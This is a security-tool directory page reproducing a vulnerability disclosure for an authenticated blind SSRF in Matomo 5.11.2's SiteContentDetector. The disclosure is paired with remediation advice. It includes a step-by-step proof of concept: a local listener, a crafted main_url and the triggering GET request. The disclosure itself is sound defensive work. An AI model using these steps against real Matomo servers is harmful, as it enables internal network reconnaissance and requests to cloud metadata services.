Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/slo-cyber-sec/cve-2026-78850
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubslo-cyber-sec/cve-2026-78850

CVE-2026-78850

Proof-of-concept demonstrating an authenticated blind SSRF in Matomo's SiteContentDetector, allowing internal network reconnaissance and requests to internal services via crafted site URLs.

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Matomo Authenticated SiteContentDetector Blind SSRF

Reporter

Name: CYBER-SEC
Contact: [email protected]

Summary

Matomo allows an authenticated site administrator to configure a site's main_url with an internal address. Any authenticated user with view access can later trigger getTrackingMethodsForSite, causing the server to perform a blind HTTP request to the configured URL.

The destination is validated only with hostname-based protections and does not properly reject loopback, RFC1918, or link-local addresses after resolution. As a result, the application can be abused to perform blind server-side requests to internal services.

Affected Product

Product: Matomo
Affected version: 5.11.2 verified
Component: SiteContentDetector / SitesManager

CWE

  • CWE-918: Server-Side Request Forgery (SSRF)

CVSS v3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Base Score: 5.8 Medium

Attack Requirements

  • enable_internet_features must be enabled.
  • An authenticated site administrator is required to set the site's main_url.
  • An authenticated user with view permission can trigger the server-side request.
  • The attacker must be able to observe the blind request through a controlled listener or side channel.

Technical Details

The issue involves the following flow:

root@kitploit:~
Source:
SitesManager.updateSite stores main_url after basic URL validation.

Trigger:
GET /index.php?module=SitesManager&action=getTrackingMethodsForSite&idSite=<id>

Sink:
SiteContentDetector::requestSiteResponse()
  -> Http::sendHttpRequestBy()

The implementation does not properly reject internal destinations such as:

root@kitploit:~
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1
fc00::/7
fe80::/10

Redirect targets should also be revalidated, because hostname-based filtering can be bypassed if the initial allowed hostname redirects to an internal address.

Proof of Concept

1. Start a controlled internal listener

Use a listener you control in an authorized lab environment:

root@kitploit:~
python3 -m http.server 8088

2. Configure the Matomo site URL

As an authenticated site administrator, configure the site's main_url to point to the controlled internal listener:

root@kitploit:~
http://<controlled-internal-listener>:8088/ssrf-test

Do not test against third-party systems or cloud metadata endpoints unless you own and are authorized to test that environment.

3. Trigger SiteContentDetector

As an authenticated user with view permission, trigger:

root@kitploit:~
GET /index.php?module=SitesManager&action=getTrackingMethodsForSite&idSite=1

4. Observe the blind request

The controlled listener receives a server-side HTTP request from the Matomo server.

Example listener output:

root@kitploit:~
GET /ssrf-test HTTP/1.1
Host: <controlled-internal-listener>:8088
User-Agent: Matomo

Observed Behavior

Matomo performs a server-side GET request to the configured main_url when getTrackingMethodsForSite is triggered.

This was verified using an internal loopback/internal HTTP listener that was not reachable externally, confirming blind SSRF behavior.

Impact

An authenticated attacker may abuse this behavior for:

  • Blind access to internal services.
  • Internal network reconnaissance.
  • Interaction with services bound to loopback or private interfaces.
  • Requests to cloud metadata services in affected deployments.
  • Redirect-based bypasses of hostname-only protections.

Because the SSRF is blind, the attacker does not directly receive the HTTP response body through Matomo. However, request delivery alone can still be security-relevant in internal networks and cloud environments.

Remediation

Recommended fixes:

  1. Resolve the hostname to IP addresses before making the request.

  2. Reject private, loopback, link-local, multicast, and otherwise unsafe IP ranges after DNS resolution.

  3. Revalidate every redirect target before following redirects.

  4. Prefer a strict allowlist of permitted outbound domains instead of hostname blocklists.

  5. Apply SSRF protections consistently at the final HTTP request sink, not only during site URL configuration.

  6. Consider restricting getTrackingMethodsForSite or the SiteContentDetector trigger to higher-privileged users.

  7. Add audit logging for outbound server-side requests triggered by site configuration.

Discovery

Verified against the official Matomo 5.11.2 Docker image without modifying source code.

Disclosure

This issue was reported by CYBER-SEC.

References

  • https://github.com/matomo-org/matomo
  • https://matomo.org/
  • https://cwe.mitre.org/data/definitions/918.html
Download Tool